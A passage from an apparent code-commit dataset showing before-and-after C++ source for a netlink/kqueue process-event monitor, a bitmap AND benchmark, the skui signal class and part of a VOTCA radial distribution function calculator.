fd[2]; \/\/ two fds for pipe based communication\n ProcessEvent::Flags_t flags;\n };\n\n std::unordered_map<pid_t, eventinfo_t> events;\n\n platform_dependant(void) noexcept\n {\n fd = posix::socket(EDomain::netlink, EType::datagram, EProtocol::connector);\n flaw(fd == posix::invalid_descriptor,\n terminal::warning,,,\n \"Unable to open a netlink socket for Process Events Connector: %s\", std::strerror(errno))\n\n sockaddr_nl sa_nl;\n sa_nl.nl_family = PF_NETLINK;\n sa_nl.nl_groups = CN_IDX_PROC;\n sa_nl.nl_pid = uint32_t(getpid());\n\n flaw(!posix::bind(fd, reinterpret_cast<struct sockaddr *>(&sa_nl), sizeof(sa_nl)),\n terminal::warning,,,\n \"Process Events Connector requires root level access: %s\", std::strerror(errno));\n\n#pragma pack(push, 1)\n struct alignas(NLMSG_ALIGNTO) procconn_t \/\/ 32-bit alignment\n {\n nlmsghdr header; \/\/ 16 bytes\n cn_msg message;\n proc_cn_mcast_op operation;\n } procconn;\n#pragma pack(pop)\n static_assert(sizeof(nlmsghdr) + sizeof(cn_msg) + sizeof(proc_cn_mcast_op) == sizeof(procconn_t), \"compiler needs to pack struct\");\n\n std::memset(&procconn, 0, sizeof(procconn));\n procconn.header.nlmsg_len = sizeof(procconn);\n procconn.header.nlmsg_pid = uint32_t(getpid());\n procconn.header.nlmsg_type = NLMSG_DONE;\n procconn.message.id.idx = CN_IDX_PROC;\n procconn.message.id.val = CN_VAL_PROC;\n procconn.message.len = sizeof(proc_cn_mcast_op);\n procconn.operation = PROC_CN_MCAST_LISTEN;\n\n flaw(posix::send(fd, &procconn, sizeof(procconn)) == posix::error_response,\n terminal::warning,,,\n \"Failed to enable Process Events Connector notifications: %s\", std::strerror(errno));\n\n EventBackend::add(fd, EventBackend::SimplePollReadFlags,\n [this](posix::fd_t lambda_fd, native_flags_t) noexcept { read(lambda_fd); });\n\n std::fprintf(stderr, \"%s%s\\n\", terminal::information, \"Process Events Connector active\");\n }\n\n ~platform_dependant(void) noexcept\n {\n EventBackend::remove(fd, EventBackend::SimplePollReadFlags);\n posix::close(fd);\n fd = posix::invalid_descriptor;\n }\n\n posix::fd_t add(pid_t pid, ProcessEvent::Flags_t flags) noexcept\n {\n eventinfo_t event;\n event.flags = flags;\n if(!posix::pipe(event.fd))\n return posix::invalid_descriptor;\n\n auto iter = events.emplace(pid, event);\n\n \/\/ add filter installation code here\n\n return event.fd[Read];\n }\n\n bool remove(pid_t pid) noexcept\n {\n auto iter = events.find(pid);\n if(iter == events.end())\n return false;\n\n \/\/ add filter removal code here\n\n posix::close(iter->second.fd[Read]);\n posix::close(iter->second.fd[Write]);\n events.erase(iter);\n return true;\n }\n\n void read(posix::fd_t procfd) noexcept\n {\n#pragma pack(push, 1)\n struct alignas(NLMSG_ALIGNTO) procmsg_t \/\/ 32-bit alignment\n {\n nlmsghdr header; \/\/ 16 bytes\n cn_msg message;\n proc_event event;\n } procmsg;\n#pragma pack(pop)\n static_assert(sizeof(nlmsghdr) + sizeof(cn_msg) + sizeof(proc_event) == sizeof(procmsg_t), \"compiler needs to pack struct\");\n\n pollfd fds = { procfd, POLLIN, 0 };\n while(posix::poll(&fds, 1, 0) > 0 && \/\/ while there are messages AND\n posix::recv(procfd, reinterpret_cast<void*>(&procmsg), sizeof(procmsg_t), 0) > 0) \/\/ read process event message\n {\n auto iter = events.find(procmsg.event.event_data.id.process_pid); \/\/ find event info for this PID\n if(iter != events.end()) \/\/ if found...\n posix::write(iter->second.fd[Write], &procmsg.event, sizeof(procmsg.event)); \/\/ write process event info into the communications pipe\n }\n }\n} ProcessEvent::s_platform;\n\nProcessEvent::ProcessEvent(pid_t _pid, Flags_t _flags) noexcept\n : m_pid(_pid), m_flags(_flags), m_fd(posix::invalid_descriptor)\n{\n m_fd = s_platform.add(m_pid, m_flags); \/\/ add PID to monitor and return communications pipe\n\n EventBackend::add(m_fd, EventBackend::SimplePollReadFlags, \/\/ connect communications pipe to a lambda function\n [this](posix::fd_t lambda_fd, native_flags_t) noexcept\n {\n proc_event data;\n pollfd fds = { lambda_fd, POLLIN, 0 };\n while(posix::poll(&fds, 1, 0) > 0 && \/\/ while there is another event to be read\n posix::read(lambda_fd, &data, sizeof(data)) > 0) \/\/ read the event\n switch(from_native_flags(data.what)) \/\/ find the type of event\n {\n case Flags::Exec: \/\/ queue exec signal with PID\n Object::enqueue(execed,\n data.event_data.exec.process_pid);\n break;\n case Flags::Exit: \/\/ queue exit signal with PID and exit code\n if(data.event_data.exit.exit_signal) \/\/ if killed by a signal\n Object::enqueue(killed,\n data.event_data.exit.process_pid,\n *reinterpret_cast<posix::signal::EId*>(&data.event_data.exit.exit_signal));\n else \/\/ else exited by itself\n Object::enqueue(exited,\n data.event_data.exit.process_pid,\n *reinterpret_cast<posix::error_t*>(&data.event_data.exit.exit_code));\n break;\n case Flags::Fork: \/\/ queue fork signal with PID and child PID\n Object::enqueue(forked,\n data.event_data.fork.parent_pid,\n data.event_data.fork.child_pid);\n break;\n }\n });\n}\n\nProcessEvent::~ProcessEvent(void) noexcept\n{\n EventBackend::remove(m_fd, EventBackend::SimplePollReadFlags);\n s_platform.remove(m_pid);\n}\n#elif defined(__linux__)\n\/\/&& LINUX_VERSION_CODE >= KERNEL_VERSION(X,X,X) \/* Linux X.X.X+ *\/\n# error No process event backend code exists in PDTK for Linux before version 2.6.15! Please submit a patch!\n\n#elif (defined(__APPLE__) && defined(__MACH__)) \/* Darwin 7+ *\/ || \\\n defined(__FreeBSD__) \/* FreeBSD 4.1+ *\/ || \\\n defined(__DragonFly__) \/* DragonFly BSD *\/ || \\\n defined(__OpenBSD__) \/* OpenBSD 2.9+ *\/ || \\\n defined(__NetBSD__) \/* NetBSD 2+ *\/\n\n#include <sys\/event.h> \/\/ kqueue\n\nstatic constexpr native_flags_t composite_flag(uint16_t actions, int16_t filters, uint32_t flags) noexcept\n { return native_flags_t(actions) | (native_flags_t(uint16_t(filters)) << 16) | (native_flags_t(flags) << 32); }\n\nstatic constexpr bool flag_subset(native_flags_t flags, native_flags_t subset)\n { return (flags & subset) == subset; }\n\nstatic constexpr native_flags_t to_native_flags(const uint8_t flags) noexcept\n{\n return\n (flags & ProcessEvent::Exec ? composite_flag(0, EVFILT_PROC, NOTE_EXEC) : 0) |\n (flags & ProcessEvent::Exit ? composite_flag(0, EVFILT_PROC, NOTE_EXIT) : 0) |\n (flags & ProcessEvent::Fork ? composite_flag(0, EVFILT_PROC, NOTE_FORK) : 0) ;\n}\n\nstatic constexpr ushort extract_filter(native_flags_t flags) noexcept\n { return (flags >> 16) & 0xFFFF; }\n\ntemplate<typename rtype>\nstatic constexpr rtype extract_flags(native_flags_t flags) noexcept\n { return flags >> 32; }\n\nProcessEvent::ProcessEvent(pid_t _pid, Flags_t _flags) noexcept\n : m_pid(_pid), m_flags(_flags), m_fd(posix::invalid_descriptor)\n{\n EventBackend::add(m_pid, to_native_flags(m_flags), \/\/ connect PID event to lambda function\n [this](posix::fd_t lambda_fd, native_flags_t lambda_flags) noexcept\n {\n switch(extract_filter(lambda_fd)) \/\/ switch by filtered event type\n {\n case Flags::Exec: \/\/ queue exec signal with PID\n Object::enqueue_copy(execed, m_pid);\n break;\n case Flags::Exit: \/\/ queue exit signal with PID and exit code\n Object::enqueue_copy(exited, m_pid, extract_flags<posix::error_t>(lambda_fd));\n break;\n case Flags::Fork: \/\/ queue fork signal with PID and child PID\n Object::enqueue_copy(forked, m_pid, extract_flags<pid_t>(lambda_fd));\n break;\n }\n });\n}\n\nProcessEvent::~ProcessEvent(void) noexcept\n{\n EventBackend::remove(m_pid, to_native_flags(m_flags)); \/\/ disconnect PID with flags\n}\n\n#elif defined(__sun) && defined(__SVR4) \/\/ Solaris \/ OpenSolaris \/ OpenIndiana \/ illumos\n# error No process event backend code exists in PDTK for Solaris \/ OpenSolaris \/ OpenIndiana \/ illumos! Please submit a patch!\n\n#elif defined(__minix) \/\/ MINIX\n# error No process event backend code exists in PDTK for MINIX! Please submit a patch!\n\n#elif defined(__QNX__) \/\/ QNX\n\/\/ QNX docs: http:\/\/www.qnx.com\/developers\/docs\/7.0.0\/index.html#com.qnx.doc.neutrino.devctl\/topic\/about.html\n# error No process event backend code exists in PDTK for QNX! Please submit a patch!\n\n#elif defined(__hpux) \/\/ HP-UX\n# error No process event backend code exists in PDTK for HP-UX! Please submit a patch!\n\n#elif defined(_AIX) \/\/ IBM AIX\n# error No process event backend code exists in PDTK for IBM AIX! Please submit a patch!\n\n#elif defined(BSD)\n# error Unrecognized BSD derivative!\n\n#elif defined(__unix__) || defined(__unix)\n# error Unrecognized UNIX variant!\n\n#else\n# error This platform is not supported.\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include <chrono>\n\n#include \"ParallelAndNaive.h\"\n#include \"SequentialAnd.h\"\n\nusing Clock = std::chrono::high_resolution_clock;\nusing std::chrono::duration_cast;\nusing std::chrono::microseconds;\n\nvoid test(const char* info, MultipleAndInterface& ma, const std::vector<bitvector*> input) {\n\n assert(input.size() >= 2);\n\n printf(\"%-20s (%lu bitmaps): \", info, input.size());\n fflush(stdout);\n\n const auto t1 = Clock::now();\n auto res = ma.calculate();\n const auto t2 = Clock::now();\n\n const auto t_us = duration_cast<microseconds>(t2 - t1).count();\n printf(\"%luus [cardinality=%lu]\\n\", t_us, res->cardinality());\n}\n\nint main() {\n \n const size_t bitmap_size = 10000000;\n const size_t count = 20;\n\n std::vector<bitvector*> input;\n srand(0);\n for (size_t i=0; i < count; i++) {\n bitvector* bv = new bitvector(bitmap_size);\n bv->fill_random(50);\n\n input.push_back(bv);\n }\n\n SequentialAnd seq(input);\n test(\"SequentialAnd\", seq, input);\n\n ParallelAndNaive par1(input, 8);\n test(\"ParallelAndNaive\", par1, input);\n}\n<commit_msg>Change parameters<commit_after>#include <chrono>\n\n#include \"ParallelAndNaive.h\"\n#include \"SequentialAnd.h\"\n\nusing Clock = std::chrono::high_resolution_clock;\nusing std::chrono::duration_cast;\nusing std::chrono::microseconds;\n\nvoid test(const char* info, MultipleAndInterface& ma, const std::vector<bitvector*> input) {\n\n assert(input.size() >= 2);\n\n printf(\"%-20s (%lu bitmaps): \", info, input.size());\n fflush(stdout);\n\n const auto t1 = Clock::now();\n auto res = ma.calculate();\n const auto t2 = Clock::now();\n\n const auto t_us = duration_cast<microseconds>(t2 - t1).count();\n printf(\"%luus [cardinality=%lu]\\n\", t_us, res->cardinality());\n}\n\nint main() {\n \n const size_t bitmap_size = 2000000;\n const size_t count = 100;\n\n std::vector<bitvector*> input;\n srand(0);\n for (size_t i=0; i < count; i++) {\n bitvector* bv = new bitvector(bitmap_size);\n bv->fill_random(50);\n\n input.push_back(bv);\n }\n\n SequentialAnd seq(input);\n test(\"SequentialAnd\", seq, input);\n\n ParallelAndNaive par1(input, 4);\n test(\"ParallelAndNaive\", par1, input);\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Ruben Van Boxem\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n **\/\n\n\/*\n * Signal\n * Registers observers.\n * Notifies registered observers.\n *\/\n\n#include <functional>\n#include <mutex>\n#include <vector>\n\nnamespace skui\n{\n namespace core\n {\n namespace implementation\n {\n template<typename... ArgTypes>\n class signal_base\n {\n public:\n signal_base() = default;\n\n signal_base(const signal_base& other) : slots(other.slots) {}\n signal_base(signal_base&& other) : slots(std::move(other.slots)) {}\n signal_base& operator=(signal_base other) { swap(other); return *this; }\n\n template<typename Callable>\n void connect(Callable&& slot)\n {\n std::lock_guard<decltype(slots_mutex)> lock(slots_mutex);\n slots.emplace_back(slot);\n }\n\n protected:\n \/\/ mutable here allows to connect to a const object's signals\n mutable std::vector<std::function<void(ArgTypes...)>> slots;\n mutable std::mutex slots_mutex;\n\n private:\n void swap(signal_base& other) { std::swap(slots, other.slots); }\n };\n }\n template<typename... ArgTypes>\n class signal : public implementation::signal_base<ArgTypes...>\n {\n public:\n signal() = default;\n\n void emit(ArgTypes... arguments) const\n {\n std::lock_guard<decltype(this->slots_mutex)> lock(this->slots_mutex);\n for(auto&& slot : this->slots)\n {\n slot(arguments...);\n }\n }\n };\n\n \/\/ Parameterless specialization\n template<> class signal<> : public implementation::signal_base<>\n {\n public:\n signal() = default;\n\n void emit() const\n {\n std::lock_guard<decltype(this->slots_mutex)> lock(this->slots_mutex);\n for(auto&& slot : this->slots)\n {\n slot();\n }\n }\n };\n }\n}\n\n\n<commit_msg>Make connect a normal function taking a std::function&&.<commit_after>\/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Ruben Van Boxem\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n **\/\n\n\/*\n * Signal\n * Registers observers.\n * Notifies registered observers.\n *\/\n\n#include <functional>\n#include <mutex>\n#include <vector>\n\nnamespace skui\n{\n namespace core\n {\n namespace implementation\n {\n template<typename... ArgTypes>\n class signal_base\n {\n public:\n using slot_type = std::function<void(ArgTypes...)>;\n\n signal_base() = default;\n\n signal_base(const signal_base& other) : slots(other.slots) {}\n signal_base(signal_base&& other) : slots(std::move(other.slots)) {}\n signal_base& operator=(signal_base other) { swap(other); return *this; }\n\n void connect(slot_type&& slot)\n {\n std::lock_guard<decltype(slots_mutex)> lock(slots_mutex);\n slots.emplace_back(slot);\n }\n\n protected:\n \/\/ mutable here allows to connect to a const object's signals\n mutable std::vector<slot_type> slots;\n mutable std::mutex slots_mutex;\n\n private:\n void swap(signal_base& other) { std::swap(slots, other.slots); }\n };\n }\n template<typename... ArgTypes>\n class signal : public implementation::signal_base<ArgTypes...>\n {\n public:\n signal() = default;\n\n void emit(ArgTypes... arguments) const\n {\n std::lock_guard<decltype(this->slots_mutex)> lock(this->slots_mutex);\n for(auto&& slot : this->slots)\n {\n slot(arguments...);\n }\n }\n };\n\n \/\/ Parameterless specialization\n template<> class signal<> : public implementation::signal_base<>\n {\n public:\n signal() = default;\n\n void emit() const\n {\n std::lock_guard<decltype(this->slots_mutex)> lock(this->slots_mutex);\n for(auto&& slot : this->slots)\n {\n slot();\n }\n }\n };\n }\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2009-2019 The VOTCA Development Team (http:\/\/www.votca.org)\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#include \"rdf_calculator.h\"\n#include <boost\/lexical_cast.hpp>\n#include <fstream>\n#include <iomanip>\n#include <iostream>\n#include <votca\/csg\/beadlist.h>\n#include <votca\/csg\/imcio.h>\n#include <votca\/csg\/nblistgrid.h>\n#include <votca\/tools\/constants.h>\n#include <votca\/tools\/rangeparser.h>\n\nnamespace votca {\nnamespace csg {\n\nRDFCalculator::RDFCalculator()\n : _write_every(0),\n _do_blocks(false),\n _nblock(0),\n _subvol_rad(0),\n _do_vol_corr(false),\n _processed_some_frames(false) {}\n\nRDFCalculator::~RDFCalculator() = default;\n\n\/\/ begin the coarse graining process\n\/\/ here the data structures are prepared to handle all the data\nvoid RDFCalculator::Initialize() {\n \/\/ do some output\n std::cout << \"begin to calculate distribution functions\\n\";\n std::cout << \"# of bonded interactions: \" << _bonded.size() << std::endl;\n std::cout << \"# of non-bonded interactions: \" << _nonbonded.size()\n << std::endl;\n\n if (_bonded.size() + _nonbonded.size() == 0) {\n throw std::runtime_error(\n \"No interactions defined in options xml-file - nothing to be done\");\n }\n\n \/\/ initialize non-bonded structures\n for (Property *prop : _nonbonded) {\n interaction_t *i = AddInteraction(prop);\n i->_is_bonded = false;\n }\n}\n\nvoid RDFCalculator::BeginEvaluate(Topology *top, Topology *) {\n Eigen::Matrix3d box = top->getBox();\n Eigen::Vector3d a = box.col(0);\n Eigen::Vector3d b = box.col(1);\n Eigen::Vector3d c = box.col(2);\n _boxc = box.rowwise().sum() \/ 2.0;\n\n std::cout << \"Using center of box: \" << _boxc << std::endl;\n \/\/ we didn't process any frames so far\n _nframes = 0;\n _nblock = 0;\n _processed_some_frames = false;\n\n \/\/ initialize non-bonded structures\n for (Property *prop : _nonbonded) {\n std::string name = prop->get(\"name\").value();\n\n interaction_t &i = *_interactions[name];\n\n \/\/ count total species for ideal densities\n\n BeadList allbeads1, allbeads2;\n allbeads1.Generate(*top, prop->get(\"type1\").value());\n allbeads2.Generate(*top, prop->get(\"type2\").value());\n\n if (allbeads1.size() == 0) {\n throw std::runtime_error(\"Topology does not have beads of type \\\"\" +\n prop->get(\"type1\").value() +\n \"\\\"\\n\"\n \"This was specified in type1 of interaction \\\"\" +\n name + \"\\\"\");\n }\n if (allbeads2.size() == 0) {\n throw std::runtime_error(\"Topology does not have beads of type \\\"\" +\n prop->get(\"type2\").value() +\n \"\\\"\\n\"\n \"This was specified in type2 of interaction \\\"\" +\n name + \"\\\"\");\n }\n \/\/ calculate normalization factor for rdf\n\n if (_do_vol_corr) {\n std::cout << \"Volume correction on\" << std::endl;\n i._norm = 1. \/ (4.0 * votca::tools::conv::Pi * i._step);\n } else {\n std::cout << \"Volume correction off\" << std::endl;\n i._norm = 1. \/ (4. * votca::tools::conv::Pi * i._step);\n }\n }\n}\n\/\/ create an entry for interactions\nRDFCalculator::interaction_t *RDFCalculator::AddInteraction(Property *p) {\n std::string name = p->get(\"name\").value();\n std::string group;\n\n group = \"none\";\n\n interaction_t *i = new interaction_t;\n i->_index = _interactions.size();\n _interactions[name] = i;\n getGroup(group)->_interactions.push_back(i);\n\n i->_step = p->get(\"step\").as<double>();\n i->_min = p->get(\"min\").as<double>();\n i->_max = p->get(\"max\").as<double>();\n i->_norm = 1.0;\n i->_p = p;\n\n \/\/ initialize the current and average histogram\n int n = (int)((i->_max - i->_min) \/ i->_step + 1.000000001);\n\n i->_average.Initialize(i->_min, i->_max + i->_step, n);\n\n return i;\n}\n\n\/\/ end of trajectory, post processing data\nvoid RDFCalculator::EndEvaluate() {\n if (_nframes > 0) {\n if (!_do_blocks) {\n WriteDist();\n }\n }\n \/\/ clear interactions and groups\n _interactions.clear();\n _groups.clear();\n if (!_processed_some_frames) {\n throw std::runtime_error(\n \"no frames were processed. Please check your input\");\n }\n}\n\n\/\/ load options from xml file\nvoid RDFCalculator::LoadOptions(const std::string &file) {\n _options.LoadFromXML(file);\n _bonded = _options.Select(\"cg.bonded\");\n _nonbonded = _options.Select(\"cg.non-bonded\");\n}\n\n\/\/ evaluate current conformation\nvoid RDFCalculator::Worker::EvalConfiguration(Topology *top, Topology *) {\n _cur_vol = 4.0 \/ 3.0 * votca::tools::conv::Pi * _rdfcalculator->_subvol_rad *\n _rdfcalculator->_subvol_rad * _rdfcalculator->_subvol_rad;\n \/\/ process non-bonded interactions\n DoNonbonded(top);\n \/\/ process bonded interactions\n DoBonded(top);\n}\n\nvoid RDFCalculator::ClearAverages() {\n\n _nframes = 0;\n for (auto &_interaction : _interactions) {\n _interaction.second->_average.Clear();\n }\n\n for (auto &_group : _groups) {\n _group.second->_corr.setZero();\n }\n}\n\nclass IMCNBSearchHandler {\n public:\n IMCNBSearchHandler(HistogramNew *hist, double subvol_rad,\n Eigen::Vector3d boxc, bool do_vol_corr)\n : _hist(hist),\n _subvol_rad(subvol_rad),\n _boxc(boxc),\n _do_vol_corr(do_vol_corr) {}\n\n HistogramNew *_hist;\n double _subvol_rad;\n Eigen::Vector3d _boxc; \/\/ center of box\n bool _do_vol_corr;\n\n bool FoundPair(Bead *b1, Bead *, const Eigen::Vector3d &, const double dist) {\n\n if (_do_vol_corr) {\n double dr = (b1->Pos() - _boxc).norm();\n if (dist + dr > _subvol_rad) {\n \/\/ 2.0 is because everything is normalized to 4 PI\n _hist->Process(dist, 2.0 \/ SurfaceRatio(dist, dr));\n } else {\n _hist->Process(dist);\n }\n\n } else {\n _hist->Process(dist);\n }\n return false;\n }\n\n double SurfaceRatio(double dist, double r) {\n \/\/ r: distance of particle from ex center\n \/\/ dist: distance between particles\n return (1.0 + (_subvol_rad * _subvol_rad - r * r - dist * dist) \/\n (2.0 * dist * r));\n }\n};\n\n\/\/ process non-bonded interactions for current frame\nvoid RDFCalculator::Worker::DoNonbonded(Topology *top) {\n for (Property *prop : _rdfcalculator->_nonbonded) {\n std::string name = prop->get(\"name\").value();\n\n interaction_t &i = *_rdfcalculator->_interactions[name];\n\n \/\/ generate the bead lists\n BeadList beads1, beads2;\n\n beads1.GenerateInSphericalSubvolume(*top, prop->get(\"type1\").value(),\n _rdfcalculator->_boxc,\n _rdfcalculator->_subvol_rad);\n beads2.GenerateInSphericalSubvolume(*top, prop->get(\"type2\").value(),\n _rdfcalculator->_boxc,\n _rdfcalculator->_subvol_rad);\n\n _cur_beadlist_1_count = (double)beads1.size();\n _cur_beadlist_2_count = (double)beads2.size();\n\n \/\/ same types, so put factor 1\/2 because of already counted interactions\n if (prop->get(\"type1\").value() == prop->get(\"type2\").value()) {\n _cur_beadlist_2_count \/= 2.0;\n }\n\n \/\/ generate the neighbour list\n std::unique_ptr<NBList> nb;\n\n bool gridsearch = true;\n\n if (_rdfcalculator->_options.exists(\"cg.nbsearch\")) {\n if (_rdfcalculator->_options.get(\"cg.nbsearch\").as<std::string>() ==\n \"grid\") {\n gridsearch = true;\n } else if (_rdfcalculator->_options.get(\"cg.nbsearch\")\n .as<std::string>() == \"simple\") {\n gridsearch = false;\n } else {\n throw std::runtime_error(\"cg.nbsearch invalid, can be grid or simple\");\n }\n }\n if (gridsearch) {\n nb = std::make_unique<NBList>(NBListGrid());\n } else {\n nb = std::make_unique<NBList>(NBList());\n }\n\n nb->setCutoff(i._max + i._step);\n\n \/\/ clear the current histogram\n _current_hists[i._index].Clear();\n\n IMCNBSearchHandler h(&(_current_hists[i._index]),\n _rdfcalculator->_subvol_rad, _rdfcalculator->_boxc,\n _rdfcalculator->_do_vol_corr);\n nb->SetMatchFunction(&h, &IMCNBSearchHandler::FoundPair);\n\n \/\/ is it same types or different types?\n if (prop->get(\"type1\").value() == prop->get(\"type2\").value()) {\n nb->Generate(beads1);\n } else {\n nb->Generate(beads1, beads2);\n }\n\n \/\/ store particle number in subvolume for each interaction\n i._avg_beadlist_1_count.Process(_cur_beadlist_1_count);\n i._avg_beadlist_2_count.Process(_cur_beadlist_2_count);\n }\n}\n\n\/\/ process non-bonded interactions for current frame\nvoid RDFCalculator::Worker::DoBonded(Topology *top) {\n for (Property *prop : _rdfcalculator->_bonded) {\n std::string name = prop->get(\"name\").value();\n\n interaction_t &i = *_rdfcalculator->_interactions[name];\n\n \/\/ clear the current histogram\n _current_hists[i._index].Clear();\n\n \/\/ now fill with new data\n std::list<Interaction *> list = top->InteractionsInGroup(name);\n\n for (auto ic : list) {\n double v = ic->EvaluateVar(*top);\n _current_hists[i._index].Process(v);\n }\n }\n}\n\n\/\/ returns a group, creates it if doesn't exist\nRDFCalculator::group_t *RDFCalculator::getGroup(const std::string &name) {\n std::map<std::string, group_t *>::iterator iter;\n iter = _groups.find(name);\n if (iter == _groups.end()) {\n return _groups[name] = new group_t;\n }\n return (*iter).second;\n}\n\n\/\/ write the distribution function\nvoid RDFCalculator::WriteDist(const std::string &suffix) {\n\n \/\/ for all interactions\n for (auto &_interaction : _interactions) {\n \/\/ calculate the rdf\n Table &t = _interaction.second->_average.data();\n Table dist(t);\n\n _interaction.second->_norm \/=\n (_interaction.second->_avg_beadlist_1_count.getAvg() *\n _interaction.second->_avg_beadlist_2_count.getAvg());\n dist.y() = _avg_vol.getAvg() * _interaction.second->_norm *\n dist.y().cwiseQuotient(dist.x().cwiseAbs2());\n\n dist.Save((_interaction.first) + suffix + \".dist.new\");\n std::cout << \"written \" << (_interaction.first) + suffix + \".dist.new\\n\";\n\n std::cout << \"Avg. number of particles in subvol for \"\n << (_interaction.first) << std::endl;\n std::cout << \"beadlist 1: \"\n << _interaction.second->_avg_beadlist_1_count.getAvg()\n << std::endl;\n std::cout << \"beadlist 2: \"\n << _interaction.second->_avg_beadlist_2_count.getAvg()\n << std::endl;\n }\n\n std::cout << \"Volume used for normalization: \" << _avg_vol.getAvg()\n << std::endl;\n}\n\nCsgApplication::Worker *RDFCalculator::ForkWorker() {\n RDFCalculator::Worker *worker;\n worker = new RDFCalculator::Worker;\n\n worker->_current_hists.resize(_interactions.size());\n worker->_rdfcalculator = this;\n\n for (auto &_interaction : _interactions) {\n interaction_t *i = _interaction.second;\n worker->_current_hists[i->_index].Initialize(\n i->_average.getMin(), i->_average.getMax(), i->_average.getNBins());\n }\n return worker;\n}\n\nvoid RDFCalculator::MergeWorker(CsgApplication::Worker *worker_) {\n _processed_some_frames = true;\n RDFCalculator::Worker *worker =\n dynamic_cast<RDFCalculator::Worker *>(worker_);\n \/\/ update the average\n\n ++_nframes;\n\n _avg_vol.Process(worker->_cur_vol);\n\n for (auto &_interaction : _interactions) {\n interaction_t *i = _interaction.second;\n i->_average.data().y() =\n (((double)_nframes - 1.0) * i->_average.data().y() +\n worker->_current_hists[i->_index].data().y()) \/\n (double)_nframes;\n }\n\n if (_write_every != 0) {\n if ((_nframes % _write_every) == 0) {\n _nblock++;\n std::string suffix =\n std::string(\"_\") + boost::lexical_cast<std::string>(_nblock);\n WriteDist(suffix);\n if (_do_blocks) {\n ClearAverages();\n }\n }\n }\n}\n\n} \/\/ namespace csg\n} \/\/ namespace votca\n<commit_msg>Update rdf_calculator.cc<commit_after>\/*\n * Copyright 2009-2019 The VOTCA Development Team (http:\/\/www.votca.org)\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#include \"rdf_calculator.h\"\n#include <boost\/lexical_cast.hpp>\n#include <fstream>\n#include <iomanip>\n#include <iostream>\n#include <votca\/csg\/beadlist.h>\n#include <votca\/csg\/imcio.h>\n#include <votca\/csg\/nblistgrid.h>\n#include <votca\/tools\/constants.h>\n#include <votca\/tools\/rangeparser.h>\n\nnamespace votca {\nnamespace csg {\n\nRDFCalculator::RDFCalculator()\n : _write_every(0),\n _do_blocks(false),\n _nblock(0),\n _subvol_rad(0),\n _do_vol_corr(false),\n _processed_some_frames(false) {}\n\nRDFCalculator::~RDFCalculator() = default;\n\n\/\/ begin the coarse graining process\n\/\/ here the data structures are prepared to handle all the data\nvoid RDFCalculator::Initialize() {\n \/\/ do some output\n std::cout << \"begin to calculate distribution functions\\n\";\n std::cout << \"# of bonded interactions: \" << _bonded.size() << std::endl;\n std::cout << \"# of non-bonded interactions: \" << _nonbonded.size()\n << std::endl;\n\n if (_bonded.size() + _nonbonded.size() == 0) {\n throw std::runtime_error(\n \"No interactions defined in options xml-file - nothing to be done\");\n }\n\n \/\/ initialize non-bonded structures\n for (Property *prop : _nonbonded) {\n interaction_t *i = AddInteraction(prop);\n i->_is_bonded = false;\n }\n}\n\nvoid RDFCalculator::BeginEvaluate(Topology *top, Topology *) {\n Eigen::Matrix3d box = top->getBox();\n _boxc = box.rowwise().sum() \/ 2.0;\n\n std::cout << \"Using center of box: \" << _boxc << std::endl;\n \/\/ we didn't process any frames so far\n _nframes = 0;\n _nblock = 0;\n _processed_some_frames = false;\n\n \/\/ initialize non-bonded structures\n for 